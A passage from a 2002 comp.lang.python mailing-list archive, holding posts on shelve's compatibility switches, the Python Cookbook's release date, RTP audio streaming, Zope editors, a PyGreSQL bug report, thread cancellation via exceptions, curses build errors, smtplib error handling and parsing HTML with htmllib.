propose to find out? > Globally that's a valid point. I'd add that different behaviours > for shelve in a largish application don't make things easier. If you Note that the shelve _files_ are not changed by this, which does not make the problem go away but VASTLY lowers it. > have a shelve instance somewhere you don't really know which behaviour > it adheres to. If a shelve.open has an EXPLICIT useoldway=1 or whatever, I do really know. With you solution, I don't any more. Explicit is better than implicit, remember? > I argued in another posting that with the 'global switch' > you can encapsulate version-dependent *fixes* basically like so: > > assert(pythonversion>2.2.4) > if pythonversion < 3.0: > shelve.returncopies=0 > somemodule.otherfix=1 > > This program will run *without changes* on newer (fixed) > python-versions. ...if NO library module it uses (from either the standard Python library or any 3rd party) is ever coded to depend on the old behavior of either shelve or somemodule. Quite a huge *IF*. > And if python3 or python4 don't want > to take care of old broken behaviour this script will still run > fine. With the same caveat. > Plus if you insist on using the old behaviour (to be > compatible with python2 and python1.5.2) you can say: Rather, to freely use library modules whose compatibility requirements I don't (and can't) really know. > assert(pythonversion<3.0) > if pythonversion > 2.3: > shelve.returncopies=1 > > and your code will run on every version up to the one > where the broken behaviour is not allowed any more. Except it will break if any library module it uses is ever upgraded to depend on the NEW behavior. > Generally i would *try* to avoid scattering version-dependent > code all over the place. This is really annoying for > authors and users. Nothing can be more annoying than global variables, "secretly" (from the point of view of a 3rd party module) affecting the behavior of standard library modules the 3rd party module relies on. "Version-dependent code" should ideally be in ONE place ***PER INDEPENDENTLY TESTED AND DISTRIBUTED PACKAGE***, rather than "all over the place". But if the choice is, either "all over the place", or in just one place *PER PROGRAM* (independent of modular structure of libraries used), then the choice is clear, and "all over the place" has a huge advantage. > If this doesn't convince you maybe you could agree to this: > > - have a global default value > > - have a keyword-argument that modifies the instance's behaviour > and in the absence of the keyword-argument defaults to the > global value. This is one possibility that can help packages written in the future, but the keyword argument still won't be used in any already existing package. I.e., any reusable production code, intended to be distributed etc, can hopefully ignore the deuced global variable and use 'explicit is better than implicit'. There will have to be an easy way to set the global so that every lack of an explicit argument raises a warning, of course. When doing triage with existing packages one will use that, as well as when testing new packages one is writing or upgrading. I don't think this approach would have substantial advantages, and I can easily think of a zillion traps it could lead users into, but it's surely far less horrid than just relying on the global. > This changes very few lines of your patch and everyone This is the least of issues -- my tiny patch can well be regarded as a throw-away proof-of-concept. The point is to package up the functionality and its upgrade procedure in a good way. Implementing it really well is another issue (which my path didn't really tackle) but should in a logical sense come afterwards. > willing to mix behaviours in large programs could still do > so. Then i could at least choose to globally work with the > 'fixed' behaviour rather than passing keyword-arguments > everywhere. Note that a large program mixing behaviour will be > incompatible with older python versions *and* incompatible > with new-enough versions (unless python keeps the switch in forever, > sigh). If we now encourage people to explicitly ask for either specific kind of behavior of course we'll have to keep that forever -- no asking package authors to put in an explicit switch now and HAVE to take it out again in a few versions, that's not nice. > More generally, we are talking about a scheme to introduce *fixes* for > 'unpythonic/unexpected/astonishing' behaviour that needs > to be preserved for one or two years in case somebody relied > on it. But we should *try* to make it easy for someone to choose to > > - rely on old behaviour (drop compatibility with new-enough pythons) > > - rely on new behaviour (drop comptatibility with too-old pythons) > > - rely on mixed behaviours (drop compatibility with too-old and too-new > pythons). I'm not sure the "unsurprising" behavior can be implemented with ZERO issues so that we only need to preserve the old way "for one or two years". The current, surprising behavior may have intrinsic advantages of performance in some cases, for example. Alex From pyth at devel.trillke.net Mon May 20 13:48:59 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 20 May 2002 19:48:59 +0200 Subject: Ruby for Newbie?! In-Reply-To: <91acf731.0205200939.41e89a8f@posting.google.com>; from jason@jvoegele.com on Mon, May 20, 2002 at 10:39:08AM -0700 References: <91acf731.0205200939.41e89a8f@posting.google.com> Message-ID: <20020520194859.I23086@prim.han.de> [Jason] > (...lots of interesting information...) > And I apologize for contributing to a Ruby-focused thread on c.l.py, > however this message has still not made it to comp.lang.ruby don't apologize. It's interesting information. There are certainly quite a few pythoneers who are also interested in Ruby! It's not always 'them or us' :-) holger From aleax at aleax.it Sun May 5 03:14:26 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 07:14:26 GMT Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> <3CD479DC.67155DE4@bellatlantic.net> Message-ID: David Lees wrote: > I saw an adv from O'Reilly this week that said July. July makes sense to me -- we (O'Reilly's editor, D. Ascher and me) are putting the finishing touches on it and OSCON (O'Reilly's Open Source Convention) should be the venue for its full-fledged launch (I do believe OSCON is in July). >> Does anyone reading here (Alex?) have any info on the Python Cookbook, >> the O'Reilly book rather than the ASPN site? It is listed on Amazon as >> being >> available April 2002 but seems to have disappeared from the O'Reilly Yep. April was the original target, and as those who were at IPC10 in early Feb know, we did have a draft copy and even a pretty marketing brochure by that time. But then we reviewed the situation and decided three more months of work would let us enhance the book substantially -- structure the discussion / solution / see-also sections of each recipe in more complete and systematic ways close to other O'Reilly Cookbooks; add a few "elementary" recipes that nobody had bothered posting to the site but are really helpful in making the book useful to Python beginners as well; ensure good coverage of issues related to Python 2.2 (particularly the new-style object model). In the light of how the Cookbook was in early February and how it is now, I think we made the right decision -- although of course the opinion that matters in the end is that of readers (and in a couple of months, when y'all can hold the book in your hands, I'm sure you'll let us know about it!-). Alex From anthony at interlink.com.au Mon May 6 01:29:10 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Mon, 06 May 2002 15:29:10 +1000 Subject: streaming audio In-Reply-To: Message from Rob Brown-Bayliss of "06 May 2002 14:41:41 +1200." <1020652901.21030.1.camel@orion.zoism.org> Message-ID: <200205060529.g465TA703422@localhost.localdomain> >>> Rob Brown-Bayliss wrote > I am looking for some information on the basics of audio streaming, or > any sort of data streaming really. Look into RTP, the basics of which are described in RFC 1889. There's other RFCs that describe various payload formats for RTP. See also the resources listed under http://www.cs.columbia.edu/~hgs/rtp/ > I want to create an app to stream audio around a LAN and really have > know Idea on where to start. One thing to beware is that you may find Python unsuitable for the actual streaming of the RTP packets. There are quite tight time constraints to be met, and if you mess it up it's very very audible to the end user. In my application (a unified messaging/voicemail server), all of it is in python, except for a small C part that actually plays or records the audio packets to/from the net. Anthony -- Anthony Baxter It's never too late to have a happy childhood. From marklists at mceahern.com Wed May 8 13:33:14 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 8 May 2002 12:33:14 -0500 Subject: Comments In-Reply-To: Message-ID: [Thomas Heller] > I know about comment-region, but how do I uncomment? I just select Python | Uncomment region from the emacs menu. I'm not an emacs wizard, so maybe there's a version issue that explains why you don't have a Python item in your emacs menu while in python mode? Cheers, // mark From bosahvremove at netscape.net Fri May 24 17:12:21 2002 From: bosahvremove at netscape.net (Bo) Date: Fri, 24 May 2002 21:12:21 GMT Subject: DTML and Python Editor? Message-ID: I'm teaching myself Python & Zope. I'd really like to find a free programming environment to work in. My options seem to be http://www.zope.org/Members/Caseman/ExternalEditor Zope product to enable an external Editor in Zope http://www.editplus.com/index.html $30 Syntax hilighting through plug in file http://www.chami.com/html-kit/ free Syntax Hilighting and custom word completion Xemacs has dtml support from the python.org site. Although this has a learning curve is it worth the effort??? I like the multi platform feature but I chiefly use windows right now. Even slickedit would be an option but its expensive. Does anyone with work experience in Zope and Python have any advice to share? I'd like to learn one environment for all this sort of work if possible -- that would let me concentrate on the language not the interface. ps What of the newer ZPE???? XMLish zope extensions?? what is the most full featured??? Bo From seth at robustai.net Fri May 17 14:35:27 2002 From: seth at robustai.net (Seth Russell) Date: Fri, 17 May 2002 18:35:27 GMT Subject: cross platform method of accessing a running process Message-ID: I want to have a python process always running on my machine, but allow cgi processes to come in and access that process. How do I do this in a manner that will work on all platforms ? What python modules will support this? Seth Russell From jhe at webde-ag.de Wed May 29 05:27:08 2002 From: jhe at webde-ag.de (Jürgen Hermann) Date: 29 May 2002 11:27:08 +0200 Subject: Python & Eclipse Message-ID: <921D7D46Ejhewebdeagde@194.45.170.159> Hi! I found some threads on Python & Eclipse integration, but nothing concrete. Is there some substantial interest in doing such an integration, especially from Jython programmers? Did anyone try to write Eclipse plugins in Jython? We _might_ start such a project, but only drive it so far as to fit our needs, so any help would be welcome. From gerhard at bigfoot.de Fri May 10 20:04:31 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 11 May 2002 00:04:31 GMT Subject: Bug? if PyGreSQL, inserttable is used followed by a for loop References: Message-ID: Anton Setzer wrote in comp.lang.python: > Hi all, > > I had the following strange behaviour of python, > which seems to be a bug, either in pygresql or in python itself. > > It happens when accessing postgresql > through the module pg (PyGreSQL-3.2): Forget about Darcy's releases. PyGreSQL is part of the PostgreSQL source tree, that's where you'll find the latest releases, where also other people are fixing code. In your case, get PyGreSQL out of src/interfaces/python of your PostgreSQL 7.2.1 source tree. > After using inserttable, for-loops do no longer work. > > Here is an example session: > > I created a database marksadmin1 with no tables > (adding a table kullm (e.g. CREATE TABLE kullm (stud text);) doesn't > make any difference). > > Then when executing the following python program: > > import pg Non-DB-API compliant proprietary interface. pgdb is the (sort-of) DB-API interface in PyGreSQL. > conn = pg.DB('marksadmin1') > for j in []: ^^ What's the point of this for-loop? > print j > conn.inserttable("kullm",[]) > for j in []: > print j > conn.close() > > I get the following strange errormessage at the line with the > second "for j in []"-loop (the first for-loop is okay): > > IndexError: list index out of range I doubt it. I see no way for j in [] can ever execute the loop body. > I am using python 2.2.1, PyGreSQL-3.2, postgresql version 7.2.1. > > The error seems to occur after any execution of inserttable > (whether with an empty list or not) followed by arbitrary many > commands followed by any "for j in mylist:"-loop. > > I have asked D'Arcy J.M. Cain, the current maintainer of > PyGreSQL-3.2, who wasn't able to repeat that bug. However > my installation seems to be the latest non-beta release and > I haven't encountered any other bugs yet. > > Does anybody encounter the same problem? Or does anybody know what's > wrong or what to do about it. Use pyPgSQL or psycopg. If that sounds harsh, so be it. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From logiplexsoftware at earthlink.net Wed May 1 16:37:24 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Wed, 1 May 2002 13:37:24 -0700 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> Message-ID: <20020501133724.0370e122.logiplexsoftware@earthlink.net> On Wed, 1 May 2002 16:23:22 -0400 Steve Holden wrote: > "Cliff Wells" wrote ... > [...] > > > > I'm fairly certain that "Laura Creighton" is the psuedonom Lumberjack uses > when > > he wants to get real nasty but doesn't want to tarnish his reputation. > > > > ;) > > > > What reputation? Oh, I think he has a reputation, just not a good one. BTW, thanks for leaving the in as I'd hate for this to get taken out of context. Otherwise Laura might get after me for real ;) -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From aleax at aleax.it Mon May 6 06:24:02 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 06 May 2002 10:24:02 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: <6RsB8.8848$CN3.336093@news2.tin.it> Martin v. L?wis wrote: > Alex Martelli writes: > >> That has nothing to do with the DLL - vs - EXE choice, as far as I can >> see, and everything to do with the choice of NAME for the executable >> module you package Python's functionality into. If you named the EXE >> PYTHON22.EXE and so on, you'd be "forcing extensions module" just as >> much; vice versa, if you named the DLL PYTHON.DLL you would not be >> forcing those modules to commit. It's not about the extension:-), >> it's about the filename. > > Right. However, I believe that the DLL name contains the Python > version so that multiple simultaneous Python installations are > possible, especially when the Python DLL is put into the system > directory. You can put only one Python.DLL into a system directory, sure, but there should be no problem having multiple Python installations anyway, as long as each Python.EXE had its own Python.DLL in the _same_ directory -- according to the MS docs, that should have priority (can't test on every Windows variant, of course:-0). > With python.exe, this would not be that much of a problem: there is no > additional file (a pythonxy.dll) to be loaded that must match the > version of the executable; all extensions would then be subject to the > PYTHON_API_VERSION check. Of course, API version checking would be needed in all cases, even if we switched to naming both EXE and DLL Python.* -- all I'm saying is that tying extensions to specific Python versions _might_ be just as avoidable with DLLs as with EXEs, even with multiple installations of Python on the same Windows machine... said multiple installs just wouldn't be able to copy all python.DLL's into the system directory. Alex From stephen at xemacs.org Thu May 16 02:52:37 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 16 May 2002 15:52:37 +0900 Subject: OT: Crazy Programming References: Message-ID: <87hel8twi2.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Andrew" == Andrew Dalke writes: Andrew> But that's just the free market economist inside me Andrew> speaking. I've got to let him out every once in a while Andrew> otherwise he gets too riled up on the free (Python) Andrew> software I develop. :) If your mental FME feels that way about free software, you should get him to a therapist. In the meantime, repeat the holy mantra de gustibus non disputandum until enlightened. Why-yes-I-do-have-a-PhD-in-Economics-ly y'rs, -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From whisper at oz.net Sun May 12 15:14:30 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 12 May 2002 12:14:30 -0700 Subject: High performance Python web-app In-Reply-To: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: There's an alpha mod_python for apache on mod_snake.org PyApache can be teased into compiling on Windows and works on Apache 2.0.x David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of iwk > Sent: Sunday, May 12, 2002 9:51 > To: python-list at python.org > Subject: High performance Python web-app > > > Hi there, > > We've been using a custom developed html/python templating system which > runs under CGI. It was ported to mod_python one year and a half ago, but > as the system was only used for small-scale sites, in the end that > was never taken into production. Now however, a customer wants to deploy > the system on Apache 2 running on Win32 and the site is expected to > attract a rather large number of visistors on occasion. Considering the > abysmal performance of CGI apps on Windows, this poses a considerable > problem. > > My question is: are there any *stable* solutions available to enable > fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on > Apache 1.3 as far as I know and Mod_snake seems to have been taken off > line....) > > Regards, > > Iwan > > -- > http://mail.python.org/mailman/listinfo/python-list From mgilfix at eecs.tufts.edu Tue May 14 10:00:06 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Tue, 14 May 2002 10:00:06 -0400 Subject: Upper memory limit In-Reply-To: <3CE11388.697C9AE2@kfunigraz.ac.at>; from siegfried.gonzi@kfunigraz.ac.at on Tue, May 14, 2002 at 03:39:20PM +0200 References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> Message-ID: <20020514100006.D24034@eecs.tufts.edu> I got the impression from your first post that you were complaining that Python wasn't freeing memory at all (I could be totally off). Perhaps the problem might be circular references? Is your data structure self-referential? If so, you should be using weakref's. There's nothing python can do to free circular references because it always thinks they're in use. -- Mike On Tue, May 14 @ 15:39, Siegfried Gonzi wrote: > The program does not use really 200MB I would say. As I wrote: I call 8 > times a specific function. The specific function itself consumes about > 20MB RAM and delivers a floating point array of dimension 71x12 back. I > weight the 8 arrays and pass one result array to a function in order > to write the result array to a file. > > But I do not get it why Python does not delete the 20MB and leaves only > the 71x12 array sound when it comes back from the function. That was the > reason why I asked: does Python collect garbage and get rid of it at the > end of the calculation (Python collects 8*20 MB + 40 MB and at the end > it deletes this 200 MB junk); or does Python collect 20MB, removes the > 20MB (71x12 array is negligible here), goes on to the next 20MB and > removes the 20MB, and so on.... -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From mwh at python.net Mon May 27 07:43:42 2002 From: mwh at python.net (Michael Hudson) Date: Mon, 27 May 2002 11:43:42 GMT Subject: ncurses python2.2.1 References: Message-ID: Sean Richards writes: > Hi, > > Having a few problems compiling python2.2.1 with the curses module. Running > Slackware 8.0. Uncommented the appropriate line in Modules/Setup and ran > ./configure, make etc. However when I test the curses module it gives > the following error: > > sean:~/packages/Python-2.2.1$./python ./Lib/test/test_curses.py > Traceback (most recent call last): > File "./Lib/test/test_curses.py", line 204, in ? > curses.wrapper(main) > File "/home/sean/packages/Python-2.2.1/Lib/curses/wrapper.py", line > 44, in wrapper > res = apply(func, (stdscr,) + rest) > File "./Lib/test/test_curses.py", line 198, in main > module_funcs(stdscr) > File "./Lib/test/test_curses.py", line 143, in module_funcs > curses.curs_set(1) > _curses.error: curs_set() returned ERR > > Been googling for a few hours now but have not really found any obvious > solution. Any help on this would be great. Does this post: http://mail.python.org/pipermail/python-dev/2002-January/019724.html help? Cheers, M. -- "Sturgeon's Law (90% of everything is crap) applies to Usenet." "Nothing guarantees that the 10% isn't crap, too." -- Gene Spafford's Axiom #2 of Usenet, and a corollary From pyth at devel.trillke.net Fri May 3 04:58:43 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 3 May 2002 10:58:43 +0200 Subject: Killing a running thread In-Reply-To: References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> Message-ID: <20020503085843.GB16217@devel.trillke> On Fri, May 03, 2002 at 07:29:32AM +0000, Alex Martelli wrote: > Alexander Skwar wrote: > > > ?Alex Martelli? sagte am 2002-05-02 um 15:32:48 +0000 : > >> try: > >> map(myfunction, somehumongoushugelist) > >> except OuttaHere: > >> pass > > > > Yes, this idea also occured to me. If I'm not mistaken, this should > > break out of the map, no? > > Yep! Indeed, if your map is called within some other function > etc, you may move the try/except statement outwards as much > as you want -- every intermediate level of call will also terminate > (with try/finally statements executing their finalizers as you pop). > > Some people dislike this use of exceptions, but I think it's quite > Pythonic and useful. yes. To just warmup an idea posted a couple of thousand postings ago: the interpreter could be instructed from outside a thread to throw an exception when next running bytecode inside a certain thread (called something like ThreadCanceledException or so). This doesn't work when the thread remains for a long time in C-Land, i guess. But otherwise it still *seems* like a good idea to me. holger From tjreedy at udel.edu Thu May 16 09:30:51 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 16 May 2002 13:30:51 GMT Subject: beginner question: extending python types References: <3CE318F4.5030506@horvath.com> Message-ID: > > > * Uwe Mayer > > > |>I found Python lacking the type of a "set". i.e. an unordered list. > > Jeremy Yallop wrote: > > > Use a dictionary, with the same value (1) for every key. > Bob Horvath writes: > > Is there any significance to the value 1? "Michael Hudson" wrote in message > In this context, no. It might be a tad confusing to have something > that was false, so None, 0 and () might be bad choices. But I don't > think there's a good reason. For choosing between 0 and 1, confusion is the only reason to choose 1. However, in the current C implementation, there are reasons to reject the others. 'Small' ints are preallocated and handled specially (more efficiently) by the compiler. A set with 100000 members would have 100000 pointers to the same preallocated object. The same would be true for None, but 'None' would be looked up in both module and builtin dicts 100000 times. '{}' or '()' would generate 100000 empty and useless objects. If/when None is made a keyword, it *might* become the more efficient choice since it would then be special-cased even earlier than 0/1. Terry J. Reedy From dialtone#/N0SPAM/# at aruba.it Mon May 20 14:56:18 2002 From: dialtone#/N0SPAM/# at aruba.it (Dialtone) Date: Mon, 20 May 2002 20:56:18 +0200 Subject: Sort dictionary data References: Message-ID: On Mon, 20 May 2002 15:10:32 -0300, Marcus Laranjeira wrote: >does anyone knows how can this be done ? Is there any ready module to do >such sorting ? Did you try with dic.values().sort()? I have not tried but it should work as you want. -- e-mail:dialtone#/N0SPAM/#@aruba.it|Non vorrei piacere a tutti togliere #N0SPAM# per inviare |Avrei meno stima di me stesso Powered by Debian Woody |Se piacessi a certa gente Co-Responsabile Hardware Information & Technology http://hit.edengames.net From marklists at mceahern.com Fri May 24 08:14:16 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 24 May 2002 07:14:16 -0500 Subject: Iterating through two lists In-Reply-To: <3cee0ae6_1@news3.newsgroups.com> Message-ID: [jb] > I should like to achive this (x is a list of class instances) > > for (a,b) in (x,y): a.f(b) zip, as others have posted, does the trick. Here's a solution using generators: #! /usr/bin/env python from __future__ import generators def walklists(m, n): i = 0 while 1: if i >= len(m) or i >= len(n): break yield (m[i], n[i]) i += 1 # Setup m and n. g = walklists(m, n) for a, b in g: print a.f(b) - From dalke at dalkescientific.com Wed May 15 16:54:24 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 15 May 2002 14:54:24 -0600 Subject: OT: Crazy Programming References: Message-ID: Christopher Encapera being dismissive of >that "modern art" that sits in front of county hall I live in Santa Fe, NM, which has something like 200-300 art galleries (in a town of 68,000). As a consequence, the public art in town is quite decent. One way to think of it is that since so much of the art in town is based around selling the art, there's a tendency to pick artistic paths which are also salable, bringing economic inventive to produce enjoyable are. But that's just the free market economist inside me speaking. I've got to let him out every once in a while otherwise he gets too riled up on the free (Python) software I develop. :) Andrew dalke at dalkescientific.com P.S. And because I see price tags on art all the time, I'm getting this strange ability to be able to ballpark the estmated price of art. From cliechti at gmx.net Sun May 26 12:10:43 2002 From: cliechti at gmx.net (Chris Liechti) Date: 26 May 2002 18:10:43 +0200 Subject: len() and __len__ References: Message-ID: Artur Siekielski wrote in news:slrnaf16hh.h0.gruesome at muyc.omput.er: > Is there any difference between len(a) and a.__len__() in Python 2.2? no len() calls __len__ but you can do >>> listoflength = map(len, somelist) which isn't that simple with __len__(): >>> listoflength = [] >>> for x in somelist: ... listoflength.append(x.__len__()) chris -- Chris From aahz at pythoncraft.com Thu May 2 10:29:10 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 10:29:10 -0400 Subject: Python vs. Perl, which is better to learn? References: Message-ID: In article , Alex Martelli wrote: > >Actually, I think the "one obvious way to do it" is >(adding fileinput to the modules you import, and): > >for line in fileinput.input(): > whatever(line) > >This gives you stdin if your script is called w/o arguments, or else >the files with whose names your program is called -- basically like >Perl's "while(<>)" (one enhancement to fileinput I'd like is a switch >to have it implicitly call glob.glob on arguments that have wildcards >when running on Windows, because I do find myself all the time wanting >to use "python x.py *.foo" indifferently on Windows or Unix-like >systems -- but that's another issue. I guess). What I'd like is an argument to specify how many command-line args to skip over, say if you're writing something like grep.py. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From shalehperry at attbi.com Sat May 18 16:15:27 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 18 May 2002 13:15:27 -0700 (PDT) Subject: regular expression In-Reply-To: <20020519032904.033b668e.bkesuma@REMOVECAPITALS.yahoo.com> Message-ID: On 18-May-2002 Batara Kesuma wrote: > Hi Sean, > > On Sat, 18 May 2002 10:46:19 -0700 (PDT) > "Sean 'Shaleh' Perry" wrote: > >> you are very close to what you need. >> >> rule = re.compile(r'^\d{6}$') # ^ means start of string, then \d{6} is 6 >> numbers >> # then $ is end of string. > > Thank you very much. But what does the 'r' in (r'^\d{6}$') means? > r'' is a 'raw' string, the contents of it generally do not need to be escaped. If you did not use the r'' syntax the above call would have been: rule = re.compile('^\\d{6}6') # note the escaped backslash. If you have a more complex regex all of the escaping makes it hard to read. rule = re.compile('^\\d{6}\\s+\\d{3}') From geoff at gerrietts.net Fri May 31 15:54:09 2002 From: geoff at gerrietts.net (Geoff Gerrietts) Date: Fri, 31 May 2002 12:54:09 -0700 Subject: Extracting data from HTML In-Reply-To: <82096df4.0205311152.5891a17b@posting.google.com> References: <82096df4.0205311152.5891a17b@posting.google.com> Message-ID: <20020531195409.GD13794@isis.gerrietts.net> Quoting Hazel (lailian98 at hotmail.com): > how do i write a program that > will extract info from an HTML and print > of a list of TV programmes, its Time, and Duration > using urllib? You might check into htmllib -- it's got some basic parser structures in there that can help you parse through the HTML. You might check out http://www.python9.org/p9-zadka.ppt, which goes over some of that. And at the end of this message, I've affixed some (very sloppy, not very good) Python code that I pounded out the other day to (more or less) strip markup from a page, so you can see how I went about prototyping a solution to a (somewhat) similar problem. -- Geoff Gerrietts http://www.gerrietts.net/ "Politics, as a practice, whatever its professions, has always been the systematic organization of hatreds." --Henry Adams #!/usr/local/bin/python -i import htmllib, formatter class DataStorage: """ DataStorage helper class for the parser. effectively implements a string that changes in-place. """ def __init__(self, weight=2): self.data = "" self.count = 0 self.weight = weight def __add__(self, other): """ __add__ the __add__ routine just appends. clean it later. """ self.data = self.data + str(other) return self def purge(self): dat = [self.data] * self.weight self.data = "" return string.join(dat) class HTMLMunger(htmllib.HTMLParser): TITLE_WT = 5 HEADING_WT = 3 EMPH_WT = 2 def __init__(self): htmllib.HTMLParser.__init__(self, formatter.NullFormatter()) self.plaindata = DataStorage() self.storagestack = [] def start_body(self, attrs): self.savedata = self.plaindata def push_storage(self,stor): self.storagestack.append(self.savedata) self.savedata = stor def pop_storage(self): dat = self.savedata.purge() self.savedata = self.storagestack.pop() self.handle_data(dat) def start_h1(self, attrs): self.push_storage(DataStorage(self.HEADING_WT)) start_h2 = start_h3 = start_h4 = start_h5 = start_h6 = start_h1 def end_h1(self): self.pop_storage() end_h2 = end_h3 = end_h4 = end_h5 = end_h6 = end_h1 def start_i(self, attrs): self.push_storage(DataStorage(self.EMPH_WT)) start_b = start_i def end_i(self): self.pop_storage() end_b = end_i def anchor_end(self): # prevent the link number from showing up self.anchor = None def extract(self): dat = string.join(([self.title] * self.TITLE_WT) + [self.plaindata]) return dat class TextMunger: def __init__(self): self.data = '' def feed(self, data): self.data = self.data + data def extract(self): return self.data class DocFetcherException(Exception): pass def DocFetcher: handlers = { 'text/html': HTMLMunger, 'text/plain': TextMunger } def get_url(self, url): url_obj = urllib.urlopen(url) ct = url_obj.info()['Content-Type'] h = self.handlers.get(ct) if not h: raise DocFetcherException, "no handler for [%s] type [%s]" %(url,ct) dp = h() dp.feed(url_obj.read()) return dp.extract() if __name__ == '__main__': pm = HTMLMunger() import urllib print "Retrieving" dat = urllib.urlopen("http://www.yahoo.com/").read() print "Parsing" pm.feed(dat) print "Plain data: ", len(pm.plaindata.data) print "Emph. data: ", len(pm.emphdata.data) print "Head. data: ", len(pm.headerdata.data) print "pm.plaindata.data" From kzimir30 at hotmail.com Fri May 10 05:39:51 2002 From: kzimir30 at hotmail.com (shagshag) Date: 10 May 2002 09:39:51 GMT Subject: little question Message-ID: Does anyone knows where to find (a) python module(s) to handle inverted index and build it from text/xml file ? Need even a very simplistic (but working) one to tune it... i will prefer that it is fully implemented in python Thanks in advance. From kragen at pobox.com Mon May 20 21:40:47 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 21:40:47 -0400 Subject: Smtplib and exceptions- why it does NOT work References: Message-ID: <83d6vqnuqo.fsf@panacea.canonical.org> "A" writes: > class SMTPM: > > def sendMail(self): > import smtplib > self.s11 = smtplib.SMTP('smtp.sendme.cz') > > try: > Response=self.s11.sendmail('a at NonExistingDomain.com',"printers at sendme.cz","TEST") > except(smtplib.SMTPRecipientsRefused,smtplib.SMTPSenderRefused ): > print "Response ",Response > A=SMTPM() > A.sendMail() > > But it does not work. > Can anybody please explain to me why? I think you want: except(smtplib.SMTPRecipientsRefused,smtplib.SMTPSenderRefused ), err: print "Response ", err From brian at sweetapp.com Sat May 18 18:12:03 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 18 May 2002 15:12:03 -0700 Subject: AS Rant. WAS: shutil rant In-Reply-To: Message-ID: <000701c1feb9$0a4b81d0$445d4540@Dell2> David LeBlanc wrote: > Can you explain why PythonWin is needed to do any "serious" work on > Windows? PythonWin, the IDE, is probably not needed. The win32 extensions are invaluable though. > Aside from the Windows Scripting Host interface, what other benefit does > AS Python in addition to Python and PythonWin? On Windows, AS Python is PythonLabs Python plus: 1. Mark Hammond's win32 extensions 2. A slick MSI installer 3. An automatic module installation system for select 3rd party modules 4. Other stuff that I can't think of > I would have thought the prohibition on redistribution to 3rd parties of > the AS distribution would have been troublesome? I bet that the vast majority of Python users are not interested in redistribution. > It strikes me as "ActiveTaint" more then "ActiveState". Clever. Cheers, Brian From tew at wiencko.com Thu May 23 17:11:28 2002 From: tew at wiencko.com (Tom Wiencko) Date: Thu, 23 May 2002 21:11:28 +0000 Subject: win32com Excel problem References: Message-ID: <3CED5B00.22303062@wiencko.com> I have had a terrible time calling xlSheet.Cells a lot of times. What I have done instead, with good results, is to grab ranges into lists of lists, and then parse the lists. When I call xlSheet.Cells a lot, sooner or later the com interface locks up (I did not even get a traceback). -Tom Terje Johan Abrahamsen wrote: > > I am writing a little porgram that pulls out some info from a cell in Excel. > It works great, excepy for when I try to pull out info from a spreadsheet > that I want info from. Here is the code: > > ... code deleted ... > Thanks in advance, > Terje > > _________________________________________________________________ > Chat with friends online, try MSN Messenger: http://messenger.msn.com -- ------------------------------------------------------------------------ Tom Wiencko tew at wiencko.com President - Wiencko & Associates, Inc. (404) 255-2330 Telecom Consulting & Project Development -- Wireline, Wireless, Internet From aahz at pythoncraft.com Thu May 2 17:09:11 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 17:09:11 -0400 Subject: Python vs. Perl, which is better to learn? References: <9IcA8.90097$vF6.2684221@news2.tin.it> Message-ID: In article <9IcA8.90097$vF6.2684221 at news2.tin.it>, Alex Martelli wrote: >Aahz wrote: >> >> What I'd like is an argument to specify how many command-line args to >> skip over, say if you're writing something like grep.py. > >import fileinput, sys, re >there = re.compile(sys.argv.pop(1)) >for line in fileinput.input(): > if there.search(line): print line, Thanks! I don't really like "print line,", because it adds an extra space that wasn't there before, so I prefer sys.stdout.write(). It's a matter of taste, though. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From logiplexsoftware at earthlink.net 